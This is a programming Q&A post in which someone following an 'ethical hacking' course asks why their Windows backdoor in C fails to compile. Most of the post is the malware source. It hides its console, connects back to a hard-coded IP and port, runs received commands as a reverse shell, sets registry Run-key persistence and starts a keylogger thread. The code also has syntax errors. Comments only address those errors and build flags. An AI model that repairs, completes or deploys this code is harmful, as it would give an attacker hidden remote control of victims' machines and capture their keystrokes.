0

I'm trying to follow an online course for ethical hacking from this video:https://www.youtube.com/watch?v=6Dc8i1NQhCM and I receive and error when I try to compile the backdoor. I am compiling it in Kali Linux with i686-w-64-mingw32-gcc command.

Here is the command with its error:

└─# i686-w64-mingw32-gcc -o backdoor.exe backdoor.c -lwsock32 -lwininet                                     1 ⨯
/usr/bin/i686-w64-mingw32-ld: /usr/lib/gcc/i686-w64-mingw32/10-win32/../../../../i686-w64-mingw32/lib/../lib/libmingw32.a(lib32_libmingw32_a-crt0_c.o): in function `main':
./build/i686-w64-mingw32-i686-w64-mingw32-crt/./mingw-w64-crt/crt/crt0_c.c:18: undefined reference to `WinMain@16'
collect2: error: ld returned 1 exit status

and here is the code of the backdoor that I'm trying to compile:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "keylogger.h"

#define bzero(p, size) (void) memset((p), 0, (size))
{
int sock;


int bootRun()
{
        char err[128] = "Failed\n";
        char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
        TCHAR szPath[MAX_PATH];
        DWORD pathLen = 0;

        pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
        if (pathLen == 0) {
                send(sock, err, sizeof(err), 0);
                return-1;
        }
        HKEY NewVal;

        if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Sof tware\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS){
            send(sock, err, sizeof(err), 0);
            return -1;
        }
        DWORD pathLenInBytes = pathLen * sizeof(*szPath);
        if (RegSetValueEx(NewVal, TEXT("Hacked"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS) {
                RegCloseKey(NewVal);
                send(sock, err, sizeof(err), 0);
                return -1;
        }
        RegCloseKey(NewVal);
        send(sock, suc, sizeof(suc), 0);
        return 0;
}


char *
str_cut(char str[], int slice_from, int slice_to)
{
    if (str[0] == '\0')
            return NULL;

    char *buffer;
    size_t str_len, buffer_len;

    if (slice_to < 0 && slice_from > slice_to){
            str_len = strlen(str);
            if (abs(slice_to) > str_len -1)
                    return NULL;

            if (abs(slice_from) > str_len)
                    slice_from = (-1) * str_len;


            buffer_len = slice_to - slice_from;
            str += (str_len + slice_from);

    } else if (slice_from >= 0 && slice_to > slice_from) {
        str_len = strlen(str);

        if (slice_from > str_len -1)
                return NULL;
        buffer_len = slice_to - slice_from;
        str += slice_from;
    } else
            return NULL;
    buffer = calloc(buffer_len, sizeof(char));
    strncpy(buffer, str, buffer_len);
    return buffer;
}


void Shell() {
        char buffer[1024];
        char container[1024];
        char total_response[18384];

        while (1) {
                jump:
                bzero(buffer, 1024);
                bzero(container, sizeof(container));
                bzero(total_response, sizeof(total_response));
                recv(sock, buffer, 1024, 0);

                if (strncmp("q",  buffer, 1) == 0) {
                        closesocket(sock);
                        WSACleanup();
                        exit(0);
                }
                else if (strncmp("cd ",buffer, 3 == 0)) {
                        chdir(str_cut(buffer,3,100));
                }
                else if (strncmp("persist", buffer, 7) == 0) {
                        bootRun();
                }
                else if (strncmp("keylog_start", buffer, 12) == 00) {
                        HANDLE thread = CreateThread(NULL, 0, Logg, NULL, 0, NULL);
                        goto jump;
                }
                else {
                        FILE *fp;
                        fp = _popen(buffer, "r");
                        while(fgets(container,1024,fp) != NULL){
                                strcat(total_response, container);
                        }
                        send(sock, total_response, sizeof(total_response), 0);
                        fclose(fp);
                }

      }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){

        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);

        ShowWindow(stealth, 0);

        struct sockaddr_in ServAddr;
        unsigned short ServPort;
        char *ServIP;
        WSADATA wsaData;

        ServIP = "192.168.20.128";
        ServPort = 50005;

        if (WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
                exit(1);
        }

        sock = socket(AF_INET, SOCK_STREAM, 0);

        memset(&ServAddr, 0, sizeof(ServAddr));
        ServAddr.sin_family = AF_INET;
        ServAddr.sin_addr.s_addr = inet_addr(ServIP);
        ServAddr.sin_port = htons(ServPort);

        start:
        while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0){
                Sleep(10);
                goto start;
        }
        Shell();
  }
}

  

by the way, before this error it was showing me also this error which I solved by adding an extra } at the very end of the code:

backdoor.c: In function ‘Logg’:
backdoor.c:159:1: error: expected declaration or statement at end of input
  159 | }
  • Welcome to SO. Please start with first error. Following errors might disappear after that is solved. – Gerhardh Oct 12 '21 at 12:26
  • What is this supposed to be? `{ int sock; ` at file scope before you define your functions? Also: Where is function `Logg` mentioned in your error message? – Gerhardh Oct 12 '21 at 12:27
  • Does this answer your question? [undefined reference to \`WinMain@16' collect2.exe: error: ld returned 1 exit status](https://stackoverflow.com/questions/16946307/undefined-reference-to-winmain16-collect2-exe-error-ld-returned-1-exit-stat) – Gerhardh Oct 12 '21 at 12:30
  • Linux's not Windows. – Lundin Oct 12 '21 at 12:41
  • Please add some code that actually compiles (meaning without syntax errors). – CristiFati Oct 12 '21 at 18:09
  • Can you try to build with flag `-mconsole` ? – Brecht Sanders Oct 12 '21 at 20:08

0 Answers0